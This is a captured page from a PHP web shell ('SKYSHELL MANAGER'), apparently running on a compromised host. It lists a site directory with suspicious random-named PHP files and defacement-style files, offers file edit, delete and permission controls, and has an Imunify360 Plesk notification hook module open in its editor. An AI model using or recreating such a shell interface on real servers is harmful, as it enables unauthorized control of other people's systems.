📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: plesk_notifications.py
""" This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. Copyright © 2019 Cloud Linux Software Inc. This software is also available under ImunifyAV commercial license, see <https://www.imunify360.com/legal/eula> """ import logging from functools import lru_cache from pathlib import Path from defence360agent.subsys.panels import hosting_panel, plesk from defence360agent.contracts.plugins import MessageSink from defence360agent.contracts.hooks import HooksConfig from defence360agent.subsys import notifier logger = logging.getLogger(__name__) # Use PLESK_NOTIFICATION_SCRIPT_PATH and PLESK_NOTIFICATION_HOOK_PATH # from `defence360agent.subsys.panels.plesk` # when core package with the `DEF-35388` is released SCRIPT_PATH = "/usr/local/psa/admin/plib/modules/imunify360/scripts/send-notifications.php" HOOK_PATH = "/opt/imunify360/venv/share/imunify360/scripts/send-notifications" EVENTS = [ "CUSTOM_SCAN_MALWARE_FOUND", "USER_SCAN_MALWARE_FOUND", "REALTIME_MALWARE_FOUND", ] class PleskNotificationsHooks(MessageSink): async def create_sink(self, loop): """MessageSink method""" if hosting_panel.HostingPanel().NAME != plesk.Plesk.NAME: return if self.is_supported(): if not self.is_applied(): await self.add_hooks() else: await self.remove_hooks() @lru_cache(maxsize=1) def is_supported(self) -> bool: return Path(SCRIPT_PATH).exists() and Path(HOOK_PATH).exists() def is_applied(self) -> bool: config = HooksConfig().get() config_rules = config.get("rules", {}) if not all(event in config_rules for event in EVENTS): return False return all( HOOK_PATH in config_rules[event].get("SCRIPT", {}).get("scripts", []) for event in EVENTS ) async def add_hooks(self): config = HooksConfig().get() data = { "rules": { event: rule for event, rule in config.get("rules", {}).items() if event in EVENTS } } for event in EVENTS: if event not in data["rules"]: data["rules"][event] = {} updated = False for event in EVENTS: rule = data["rules"][event] if HOOK_PATH not in rule.get("SCRIPT", {}).get("scripts", []): if "SCRIPT" not in rule: rule["SCRIPT"] = {} rule["SCRIPT"]["scripts"] = [] elif "scripts" not in rule["SCRIPT"]: rule["SCRIPT"]["scripts"] = [] rule["SCRIPT"]["enabled"] = True rule["SCRIPT"]["scripts"].append(HOOK_PATH) updated = True if updated: HooksConfig().update(data) try: await notifier.config_updated() except ConnectionRefusedError: logger.warning( "Notifier is not running, cannot send CONFIG_UPDATED event" ) else: logger.info("Hooks added and configuration updated") async def remove_hooks(self): config = HooksConfig().get() data = { "rules": { event: rule for event, rule in config.get("rules", {}).items() if event in EVENTS } } updated = False for event, rule in data["rules"].items(): if HOOK_PATH in rule.get("SCRIPT", {}).get("scripts", []): rule["SCRIPT"]["scripts"].remove(HOOK_PATH) rule["SCRIPT"]["enabled"] = len(rule["SCRIPT"]["scripts"]) != 0 updated = True if updated: HooksConfig().update(data) try: await notifier.config_updated() except ConnectionRefusedError: logger.warning( "Notifier is not running, cannot send CONFIG_UPDATED event" ) else: logger.info("Hooks removed and configuration updated")
Save